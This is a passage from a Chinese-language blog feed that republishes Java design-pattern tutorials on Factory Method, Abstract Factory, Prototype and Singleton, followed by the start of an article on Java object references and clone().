																						<font size="2">在本例中，首先，我们需要将创建实例的工作与使用实例的工作分开<span lang="EN-US">, 也就是说，让创建实例所需要的大量初始化工作从Sample的构造函数中分离出去。</span></font>
																				</p>
																				<p>
																						<font size="2">这时我们就需要<span lang="EN-US">Factory工厂模式来生成对象了，不能再用上面简单new Sample(参数)。</span>还有<span lang="EN-US">,如果Sample有个继承如MySample, 按照面向接口编程,我们需要将Sample抽象成一个接口.</span>现在<span lang="EN-US">Sample是接口,有两个子类MySample 和HisSample .我们要实例化他们时,如下:</span></font>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">Sample mysample=new MySample();<br />Sample hissample=new HisSample();</font>
																						</span>
																				</p>
																				<p>
																						<font size="2">随着项目的深入<span lang="EN-US">,Sample可能还会"生出很多儿子出来", 那么我们要对这些儿子一个个实例化,更糟糕的是,可能还要对以前的代码进行修改:加入后来生出儿子的实例.这在传统程序中是无法避免的.</span></font>
																				</p>
																				<p>
																						<font size="2">但如果你一开始就有意识使用了工厂模式<span lang="EN-US">,这些麻烦就没有了.</span></font>
																				</p>
																				<p>
																						<strong>
																								<font size="2">工厂方法<br /></font>
																						</strong>
																						<font size="2">你会建立一个专门生产<span lang="EN-US">Sample实例的工厂:</span></font>
																				</p>
																				<table style="WIDTH: 80%; mso-cellspacing: 2.2pt; mso-padding-alt: 2.25pt 2.25pt 2.25pt 2.25pt" cellspacing="3" cellpadding="0" width="80%" border="0">
																						<tbody>
																								<tr>
																										<td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: #cccccc; PADDING-BOTTOM: 2.25pt; PADDING-TOP: 2.25pt">
																												<p>
																														<span lang="EN-US">
																																<font size="2">public class Factory{</font>
																														</span>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">public static Sample creator(int which){</span></font>
																												</p>
																												<p>
																														<font size="2">　　//getClass <span lang="EN-US">产生Sample 一般可使用动态类装载装入类。<br />　　if (which==1)<br />　　　　return new SampleA();<br />　　else if (which==2)<br />　　　　return new SampleB();</span></font>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">}</span></font>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">}</font>
																														</span>
																												</p>
																										</td>
																								</tr>
																						</tbody>
																				</table>
																				<p>
																						<font size="2">那么在你的程序中<span lang="EN-US">,如果要实例化Sample时.就使用</span></font>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">Sample sampleA=Factory.creator(1);</font>
																						</span>
																				</p>
																				<p>
																						<font size="2">这样<span lang="EN-US">,在整个就不涉及到Sample的具体子类,达到封装效果,也就减少错误修改的机会,这个原理可以用很通俗的话来比喻:就是具体事情做得越多,越容易范错误.这每个做过具体工作的人都深有体会,相反,官做得越高,说出的话越抽象越笼统,范错误可能性就越少.好象我们从编程序中也能悟出人生道理?呵呵.</span></font>
																				</p>
																				<p>
																						<font size="2">使用工厂方法 要注意几个角色，首先你要定义产品接口，如上面的Sample,产品接口下有Sample接口的实现类,如SampleA,其次要有一个factory类，用来生成产品Sample，如下图，最右边是生产的对象Sample：</font>
																				</p>
																				<p>
																						<font size="2">
																								<img height="178" src="http://www.uml.org.cn/sjms/images/factory.jpg" width="526" />
																						</font>
																				</p>
																				<p>
																						<font size="2">进一步稍微复杂一点，就是在工厂类上进行拓展，工厂类也有继承它的实现类concreteFactory了<b><i>。</i></b></font>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">
																										<strong>抽象工厂</strong>
																										<br />工厂模式中有: 工厂方法(Factory Method) 抽象工厂(Abstract Factory).</font>
																						</span>
																				</p>
																				<p style="MARGIN-BOTTOM: 12pt">
																						<span lang="EN-US">
																								<font size="2">这两个模式区别在于需要创建对象的复杂程度上。如果我们创建对象的方法变得复杂了,如上面工厂方法中是创建一个对象Sample,如果我们还有新的产品接口Sample2.</font>
																						</span>
																				</p>
																				<p style="MARGIN-BOTTOM: 12pt">
																						<font size="2">这里假设：Sample有两个concrete类SampleA和SamleB，而Sample2也有两个concrete类Sample2A和SampleB2</font>
																				</p>
																				<p style="MARGIN-BOTTOM: 12pt">
																						<span lang="EN-US">
																								<font size="2">那么，我们就将上例中Factory变成抽象类,将共同部分封装在抽象类中,不同部分使用子类实现，下面就是将上例中的Factory拓展成抽象工厂:</font>
																						</span>
																				</p>
																				<table style="WIDTH: 80%; mso-cellspacing: 2.2pt; mso-padding-alt: 2.25pt 2.25pt 2.25pt 2.25pt" cellspacing="3" cellpadding="0" width="100%" border="0">
																						<tbody>
																								<tr>
																										<td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: #cccccc; PADDING-BOTTOM: 2.25pt; PADDING-TOP: 2.25pt">
																												<p>
																														<span lang="EN-US">
																																<font size="2">public abstract class Factory{</font>
																														</span>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">public abstract Sample creator();</span></font>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">public abstract Sample2 creator(String name);</span></font>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">}</font>
																														</span>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">public class SimpleFactory extends Factory{</font>
																														</span>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">public Sample creator(){<br />　　　　.........<br />　　　　return new SampleA<br />　　}</span></font>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">public Sample2 creator(String name){<br />　　　　.........<br />　　　　return new Sample2A<br />　　}</span></font>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">}</font>
																														</span>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">public class BombFactory extends Factory{</font>
																														</span>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">public Sample creator(){<br />　　　　......<br />　　　　return new SampleB<br />　　}</span></font>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">public Sample2 creator(String name){<br />　　　　......<br />　　　　return new Sample2B<br />　　}</span></font>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">}</font>
																														</span>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">
																																</font>
																														</span> </p>
																										</td>
																								</tr>
																						</tbody>
																				</table>
																				<p>
																						<span lang="EN-US">
																								<font size="2">从上面看到两个工厂各自生产出一套Sample和Sample2,也许你会疑问，为什么我不可以使用两个工厂方法来分别生产Sample和Sample2?</font>
																						</span>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">抽象工厂还有另外一个关键要点，是因为 SimpleFactory内，生产Sample和生产Sample2的方法之间有一定联系，所以才要将这两个方法捆绑在一个类中，这个工厂类有其本身特征，也许制造过程是统一的，比如：制造工艺比较简单，所以名称叫SimpleFactory。<br /></font>
																						</span>
																				</p>
																				<p>
																						<font size="2">在实际应用中，工厂方法用得比较多一些，而且是和动态类装入器组合在一起应用，</font>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">
																										<strong>举例</strong>
																										<?XML:NAMESPACE PREFIX = O /?>
																										<o:p>
																										</o:p>
																								</font>
																						</span>
																				</p>
																				<p>
																						<font size="2">我们以<span lang="EN-US">Jive的ForumFactory为例，这个例子在前面的Singleton模式中我们讨论过，现在再讨论其工厂模式:</span></font>
																				</p>
																				<table style="WIDTH: 97%; mso-cellspacing: 2.2pt; mso-padding-alt: 2.25pt 2.25pt 2.25pt 2.25pt" cellspacing="3" cellpadding="0" width="97%" border="0">
																						<tbody>
																								<tr>
																										<td style="PADDING-RIGHT: 2.25pt; PADDING-LEFT: 2.25pt; BACKGROUND: #cccccc; PADDING-BOTTOM: 2.25pt; PADDING-TOP: 2.25pt">
																												<p>
																														<span lang="EN-US">
																																<font size="2">public abstract class ForumFactory {</font>
																														</span>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">private static Object initLock = new Object();<br />　　private static String className = "com.jivesoftware.forum.database.DbForumFactory";<br />　　private static ForumFactory factory = null;</span></font>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">public static ForumFactory getInstance(Authorization authorization) {<br />　　　　//If no valid authorization passed in, return null.<br />　　　　if (authorization == null) {<br />　　　　　　return null;<br />　　　　}<br />　　　　//以下使用了Singleton 单态模式<br />　　　　if (factory == null) {<br />　　　　　　synchronized(initLock) {<br />　　　　　　　　if (factory == null) {<br />　　　　　　　　　　　　......</span></font>
																												</p>
																												<p>
																														<font size="2">　　　　　　　　　　<span lang="EN-US">try {<br />　　　　　　　　　　　　　　//动态转载类<br />　　　　　　　　　　　　　　Class c = Class.forName(className);<br />　　　　　　　　　　　　　　factory = (ForumFactory)c.newInstance();<br />　　　　　　　　　　}<br />　　　　　　　　　　catch (Exception e) {<br />　　　　　　　　　　　　　　return null;<br />　　　　　　　　　　}<br />　　　　　　　　}<br />　　　　　　}<br />　　　　}</span></font>
																												</p>
																												<p>
																														<font size="2">　　　　<span lang="EN-US">//Now, 返回 proxy.用来限制授权对forum的访问<br />　　　　return new ForumFactoryProxy(authorization, factory,<br />　　　　　　　　　　　　　　　　　　　　factory.getPermissions(authorization));<br />　　}</span></font>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">//真正创建forum的方法由继承forumfactory的子类去完成.<br />　　public abstract Forum createForum(String name, String description)<br />　　throws UnauthorizedException, ForumAlreadyExistsException;</span></font>
																												</p>
																												<p>
																														<font size="2">　　<span lang="EN-US">....</span></font>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">}</font>
																														</span>
																												</p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">
																																</font>
																														</span> </p>
																												<p>
																														<span lang="EN-US">
																																<font size="2">
																																</font>
																														</span> </p>
																										</td>
																								</tr>
																						</tbody>
																				</table>
																				<p>
																						<font size="2">因为现在的<span lang="EN-US">Jive是通过数据库系统存放论坛帖子等内容数据,如果希望更改为通过文件系统实现,这个工厂方法ForumFactory就提供了提供动态接口:</span></font>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">private static String className = "com.jivesoftware.forum.database.DbForumFactory";</font>
																						</span>
																				</p>
																				<p>
																						<font size="2">你可以使用自己开发的创建<span lang="EN-US">forum的方法代替com.jivesoftware.forum.database.DbForumFactory就可以.</span></font>
																				</p>
																				<p>
																						<font size="2">在上面的一段代码中一共用了三种模式<span lang="EN-US">,除了工厂模式外,还有Singleton单态模式,以及proxy模式,proxy模式主要用来授权用户对forum的访问,因为访问forum有两种人:一个是注册用户 一个是游客guest,那么那么相应的权限就不一样,而且这个权限是贯穿整个系统的,因此建立一个proxy,类似网关的概念,可以很好的达到这个效果.  </span></font>
																				</p>
																				<p>
																						<font size="2">看看<span lang="EN-US">Java宠物店中的CatalogDAOFactory:</span></font>
																				</p>
																				<table cellspacing="0" cellpadding="0" width="100%" bgcolor="#cccccc" border="0">
																						<tbody>
																								<tr>
																										<td>
																												<font size="2">public class CatalogDAOFactory {</font>
																												<p>　</p>
																												<p>
																														<font size="2">　　/**</font>
																												</p>
																												<p>
																														<font size="2">　　* 本方法制定一个特别的子类来实现DAO模式。<br />　　* 具体子类定义是在J2EE的部署描述器中。<br />　　*/</font>
																												</p>
																												<p>
																														<font size="2">　　public static CatalogDAO getDAO() throws CatalogDAOSysException {</font>
																												</p>
																												<p>
																														<font size="2">　　　　CatalogDAO catDao = null;</font>
																												</p>
																												<p>
																														<font size="2">　　　　try {</font>
																												</p>
																												<p>
																														<font size="2">　　　　　　InitialContext ic = new InitialContext();<br />　　　　　　//动态装入CATALOG_DAO_CLASS<br />　　　　　　//可以定义自己的CATALOG_DAO_CLASS，从而在无需变更太多代码<br />　　　　　　//的前提下，完成系统的巨大变更。</font>
																												</p>
																												<p>
																														<font size="2">　　　　　　String className =(String) ic.lookup(JNDINames.CATALOG_DAO_CLASS);</font>
																												</p>
																												<p>
																														<font size="2">　　　　　　catDao = (CatalogDAO) Class.forName(className).newInstance();</font>
																												</p>
																												<p>
																														<font size="2">　　　　} catch (NamingException ne) {</font>
																												</p>
																												<p>
																														<font size="2">　　　　　　throw new CatalogDAOSysException("<br />　　　　　　　　CatalogDAOFactory.getDAO: NamingException while<br />　　　　　　　　　　getting DAO type : \n" + ne.getMessage());</font>
																												</p>
																												<p>
																														<font size="2">　　　　} catch (Exception se) {</font>
																												</p>
																												<p>
																														<font size="2">　　　　　　throw new CatalogDAOSysException("<br />　　　　　　　　CatalogDAOFactory.getDAO: Exception while getting<br />　　　　　　　　　　DAO type : \n" + se.getMessage());</font>
																												</p>
																												<p>
																														<font size="2">　　　　}</font>
																												</p>
																												<p>
																														<font size="2">　　　　return catDao;</font>
																												</p>
																												<p>
																														<font size="2">　　}</font>
																												</p>
																												<p>
																														<font size="2">}<br /></font>
																												</p>
																										</td>
																								</tr>
																						</tbody>
																				</table>
																				<p>
																						<font size="2">
																								<br style="mso-ignore: vglayout" clear="all" />
																						</font>
																				</p>
																				<p>
																						<span lang="EN-US">
																								<font size="2">CatalogDAOFactory是典型的工厂方法，catDao是通过动态类装入器className获得CatalogDAOFactory具体实现子类，这个实现子类在Java宠物店是用来操作catalog数据库，用户可以根据数据库的类型不同，定制自己的具体实现子类，将自己的子类名给与CATALOG_DAO_CLASS变量就可以。</font>
																						</span>
																				</p>
																				<p>
																						<font size="2">由此可见，工厂方法确实为系统结构提供了非常灵活强大的动态扩展机制，只要我们更换一下具体的工厂方法，系统其他地方无需一点变换，就有可能将系统功能进行改头换面的变化。 </font>
																				</p>
																		</td>
																</tr>
														</tbody>
												</table>
										</td>
								</tr>
						</tbody>
				</table>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8433.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:59 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8433.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>设计模式之Prototype(原型) </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8431.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:58:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8431.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8431.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8431.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8431.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8431.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<font color="#002c99">
				</font> </div>
		<div class="postText">
				<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="title" valign="center" align="middle" height="56">
												<b>
														<font color="#ff0000" size="3">设计模式之Prototype(原型)<!-- #EndEditable --></font>
												</b>
										</td>
								</tr>
								<tr>
										<td class="formtitle" align="middle" height="40">
												<!-- #BeginEditable "2" -->板桥里人 http://www.jdon.com 2002/05/07<!-- #EndEditable --></td>
								</tr>
						</tbody>
				</table>
				<table height="98" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="content" height="98">
												<!-- #BeginEditable "3" -->
												<table width="85%" align="center" border="0">
														<tbody>
																<tr>
																		<td>
																				<font size="2">定义:<br />用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象.</font>
																				<p>
																						<font size="2">Prototype模式允许一个对象再创建另外一个可定制的对象，根本无需知道任何如何创建的细节,工作原理是:通过将一个原型对象传给那个要发动创建的对象，这个要发动创建的对象通过请求原型对象拷贝它们自己来实施创建。</font>
																				</p>
																				<p>
																						<font size="2">如何使用?<br />因为Java中的提供clone()方法来实现对象的克隆(具体了解clone()<a href="http://www-900.ibm.com/developerWorks/cn/java/l-jpointer/index.shtml" target="_blank"><font color="#002c99">按这里)</font></a>,所以Prototype模式实现一下子变得很简单.</font>
																				</p>
																				<p>
																						<font size="2">以勺子为例：</font>
																				</p>
																				<table cellspacing="3" cellpadding="3" width="96%" border="0">
																						<tbody>
																								<tr>
																										<td bgcolor="#cccccc">
																												<font size="2">public abstract class AbstractSpoon implements Cloneable<br />{<br />　　String spoonName;<br /><br />　　public void setSpoonName(String spoonName) {this.spoonName = spoonName;}<br />　　public String getSpoonName() {return this.spoonName;}<br /><br />　　public Object clone()<br />　　{<br />　　　　Object object = null;<br />　　　　try {<br />　　　　　　object = super.clone();<br />　　　　} catch (CloneNotSupportedException exception) {<br />　　　　　　System.err.println("AbstractSpoon is not Cloneable");<br />　　　　}<br />　　　　return object;<br />　　}<br />}<br /></font>
																										</td>
																								</tr>
																						</tbody>
																				</table>
																				<p>
																						<font size="2">有两个具体实现(ConcretePrototype):</font>
																				</p>
																				<table cellspacing="3" cellpadding="3" width="92%" border="0">
																						<tbody>
																								<tr>
																										<td bgcolor="#cccccc">
																												<p>
																														<font size="2">public class SoupSpoon extends AbstractSpoon<br />{<br />　　public SoupSpoon()<br />　　{<br />　　　　setSpoonName("Soup Spoon");<br />　　}<br />}<br /></font>
																												</p>
																												<p>
																														<font size="2">public class SaladSpoon extends AbstractSpoon<br />{<br />　　public SaladSpoon()<br />　　{<br />　　　　setSpoonName("Salad Spoon");<br />　　}<br />}<br /></font>
																												</p>
																										</td>
																								</tr>
																						</tbody>
																				</table>
																				<p>
																						<font size="2">调用Prototype模式很简单:</font>
																				</p>
																				<p>
																						<font size="2">AbstractSpoon spoon = new SoupSpoon();<br />AbstractSpoon spoon = new SaladSpoon();</font>
																				</p>
																				<p>
																						<font size="2">当然也可以结合工厂模式来创建AbstractSpoon实例。</font>
																				</p>
																				<p>
																						<font size="2">在Java中Prototype模式变成clone()方法的使用，由于Java的纯洁的面向对象特性，使得在Java中使用设计模式变得很自然，两者已经几乎是浑然一体了。这反映在很多模式上，如Interator遍历模式。</font>
																				</p>
																		</td>
																</tr>
														</tbody>
												</table>
										</td>
								</tr>
						</tbody>
				</table>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8431.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:58 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8431.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>戏说Singleton模式</title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8432.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:58:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8432.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8432.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8432.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8432.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8432.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 戏说Singleton模式																																																												DragonCheng（原作）来源：csdn																																																																									...&nbsp;&nbsp;<a href='http://www.cnitblog.com/weitom1982/archive/2006/03/31/8432.html'>阅读全文</a><img src ="http://www.cnitblog.com/weitom1982/aggbug/8432.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:58 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8432.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>设计模式之Singleton(单态) </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8429.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:57:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8429.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8429.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8429.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8429.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8429.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<a href="http://blog.tomxp.com/view/245.html#">
						<font color="#002c99">
						</font>
				</a> </div>
		<div class="postText">
				<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="title" valign="center" align="middle" height="56">
												<b>
														<font color="#ff0000" size="3">设计模式之Singleton(单态)<!-- #EndEditable --></font>
												</b>
										</td>
								</tr>
								<tr>
										<td class="formtitle" align="middle" height="40">
												<!-- #BeginEditable "2" -->板桥里人 http://www.jdon.com 2002/05/07<!-- #EndEditable --></td>
								</tr>
						</tbody>
				</table>
				<table height="98" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="content" height="98">
												<!-- #BeginEditable "3" -->
												<table width="85%" align="center" border="0">
														<tbody>
																<tr>
																		<td>
																				<font size="2">
																						<strong>定义</strong>:<br />Singleton模式主要作用是保证在Java应用程序中，一个类Class只有一个实例存在。</font>
																				<p>
																						<font size="2">在很多操作中，比如建立目录 数据库连接都需要这样的单线程操作。</font>
																				</p>
																				<p>
																						<font size="2">还有, singleton能够被状态化; 这样，多个单态类在一起就可以作为一个状态仓库一样向外提供服务，比如，你要论坛中的帖子计数器，每次浏览一次需要计数，单态类能否保持住这个计数，并且能synchronize的安全自动加1，如果你要把这个数字永久保存到数据库，你可以在不修改单态接口的情况下方便的做到。</font>
																				</p>
																				<p>
																						<font size="2">另外方面，Singleton也能够被无状态化。提供工具性质的功能，<br /><br />Singleton模式就为我们提供了这样实现的可能。使用Singleton的好处还在于可以节省内存，因为它限制了实例的个数，有利于Java垃圾回收（garbage collection）。<br /><br />我们常常看到工厂模式中类装入器(class loader)中也用Singleton模式实现的,因为被装入的类实际也属于资源。<br /></font>
																				</p>
																				<p>
																						<font size="2">
																								<strong>如何使用?</strong>
																								<br />一般Singleton模式通常有几种形式:</font>
																				</p>
																				<table cellspacing="3" cellpadding="3" width="100%" border="0">
																						<tbody>
																								<tr>
																										<td bgcolor="#cccccc">
																												<p>
																														<font size="2">public class Singleton {</font>
																												</p>
																												<p>
																														<font size="2">　　private Singleton(){}</font>
																												</p>
																												<p>
																														<font size="2">　　//在自己内部定义自己一个实例，是不是很奇怪？<br />　　//注意这是private 只供内部调用</font>
																												</p>
																												<p>
																														<font size="2">　　private static Singleton instance = new Singleton();</font>
																												</p>
																												<p>
																														<font size="2">　　//这里提供了一个供外部访问本class的静态方法，可以直接访问　　<br />　　public static Singleton getInstance() {<br />　　　　return instance; 　　<br />　　 }<br />}</font>
																												</p>
																												<p>
																														<font size="2">
																														</font> </p>
																										</td>
																								</tr>
																						</tbody>
																				</table>
																				<p>
																						<font size="2">第二种形式:</font>
																				</p>
																				<table cellspacing="3" cellpadding="3" width="100%" border="0">
																						<tbody>
																								<tr>
																										<td bgcolor="#cccccc">
																												<font size="2">public class Singleton {</font>
																												<p>
																														<font size="2">　　private static Singleton instance = null;<br /><br />　　public static synchronized Singleton getInstance() {<br /><br />　　//这个方法比上面有所改进，不用每次都进行生成对象，只是第一次　　　 　<br />　　//使用时生成实例，提高了效率！<br />　　if (instance==null)<br />　　　　instance＝new Singleton();<br />　　return instance; 　　}</font>
																												</p>
																												<p>
																														<font size="2">}</font>
																												</p>
																												<p>
																														<font size="2">
																														</font> </p>
																										</td>
																								</tr>
																						</tbody>
																				</table>
																				<p>
																						<font size="2">使用Singleton.getInstance()可以访问单态类。</font>
																				</p>
																				<p>
																						<font size="2">上面第二中形式是lazy initialization，也就是说第一次调用时初始Singleton，以后就不用再生成了。</font>
																				</p>
																				<p>
																						<font size="2">注意到lazy initialization形式中的synchronized，这个synchronized很重要，如果没有synchronized，那么使用getInstance()是有可能得到多个Singleton实例。关于lazy initialization的Singleton有很多涉及double-checked locking (DCL)的讨论，有兴趣者进一步研究。</font>
																				</p>
																				<p>
																						<font size="2">一般认为第一种形式要更加安全些。<br /></font>
																				</p>
																				<p>
																						<font size="2">
																								<strong>使用Singleton注意事项</strong>：<br />有时在某些情况下，使用Singleton并不能达到Singleton的目的，如有多个Singleton对象同时被不同的类装入器装载；在EJB这样的分布式系统中使用也要注意这种情况，因为EJB是跨服务器，跨JVM的。</font>
																				</p>
																				<p>
																						<font size="2">我们以SUN公司的宠物店源码(Pet Store 1.3.1)的ServiceLocator为例稍微分析一下：<br /><br />在Pet Store中ServiceLocator有两种，一个是EJB目录下；一个是WEB目录下，我们检查这两个ServiceLocator会发现内容差不多，都是提供EJB的查询定位服务，可是为什么要分开呢？仔细研究对这两种ServiceLocator才发现区别：在WEB中的ServiceLocator的采取Singleton模式，ServiceLocator属于资源定位，理所当然应该使用Singleton模式。但是在EJB中，Singleton模式已经失去作用，所以ServiceLocator才分成两种，一种面向WEB服务的，一种是面向EJB服务的。</font>
																				</p>
																				<p>
																						<font size="2">Singleton模式看起来简单，使用方法也很方便，但是真正用好，是非常不容易，需要对Java的类 线程 内存等概念有相当的了解。</font>
																				</p>
																				<p>　</p>
																				<p>
																						<font size="2">进一步深入可参考：</font>
																				</p>
																				<p>
																						<a href="http://www-106.ibm.com/developerworks/java/library/j-dcl.html?dwzone=java" target="_blank">
																								<font color="#002c99" size="2">Double-checked locking and the Singleton pattern</font>
																						</a>
																				</p>
																				<p>
																						<font size="2">
																								<a href="http://www.javaworld.com/javaworld/jw-01-2001/jw-0112-singleton-p3.html#resources" target="_blank">
																										<font color="#002c99">When is a singleton not a singleton?</font>
																								</a> </font>
																				</p>
																		</td>
																</tr>
														</tbody>
												</table>
										</td>
								</tr>
						</tbody>
				</table>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8429.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:57 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8429.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA中的指针,引用及对象的clone </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8430.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:57:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8430.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8430.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8430.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8430.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8430.html</trackback:ping><description><![CDATA[
		<div class="postTitle">Java语言的一个优点就是取消了指针的概念，但也导致了许多程序员在编程中常常忽略了对象与引用的区别，本文会试图澄清这一概念。并且由于Java不能通过简单的赋值来解决对象复制的问题，在开发过程中，也常常要要应用clone（）方法来复制对象。本文会让你了解什么是影子clone与深度clone，认识它们的区别、优点及缺点。 </div>
		<div class="postText">
				<p>看到这个标题，是不是有点困惑：Java语言明确说明取消了指针，因为指针往往是在带来方便的同时也是导致代码不安全的根源，同时也会使程序的变得非常复杂难以理解，滥用指针写成的代码不亚于使用早已臭名昭著的"GOTO"语句。Java放弃指针的概念绝对是极其明智的。但这只是在Java语言中没有明确的指针定义，实质上每一个new语句返回的都是一个指针的引用，只不过在大多时候Java中不用关心如何操作这个"指针"，更不用象在操作C＋＋的指针那样胆战心惊。唯一要多多关心的是在给函数传递对象的时候。如下例程：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>package reference;
class Obj{
    String str = "init value";
    public String toString(){
        return str;
    }
}
public class ObjRef{
    Obj aObj = new Obj();
    int aInt = 11;
    public void changeObj(Obj inObj){
        inObj.str = "changed value";
    }
    public void changePri(int inInt){
        inInt = 22;
    }
    public static void main(String[] args) 
    {
        ObjRef oRef = new ObjRef();
        
        System.out.println("Before call changeObj() method: " + oRef.aObj);
        oRef.changeObj(oRef.aObj);
        System.out.println("After call changeObj() method: " + oRef.aObj);

        System.out.println("==================Print Primtive=================");
        System.out.println("Before call changePri() method: " + oRef.aInt);
        oRef.changePri(oRef.aInt);
        System.out.println("After call changePri() method: " + oRef.aInt);

    }
}

/* RUN RESULT
Before call changeObj() method: init value
After call changeObj() method: changed value
==================Print Primtive=================
Before call changePri() method: 11
After call changePri() method: 11

*
*/
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>这段代码的主要部分调用了两个很相近的方法，changeObj()和changePri()。唯一不同的是它们一个把对象作为输入参数，另一个把Java中的基本类型int作为输入参数。并且在这两个函数体内部都对输入的参数进行了改动。看似一样的方法，程序输出的结果却不太一样。changeObj()方法真正的把输入的参数改变了，而changePri()方法对输入的参数没有任何的改变。</p>
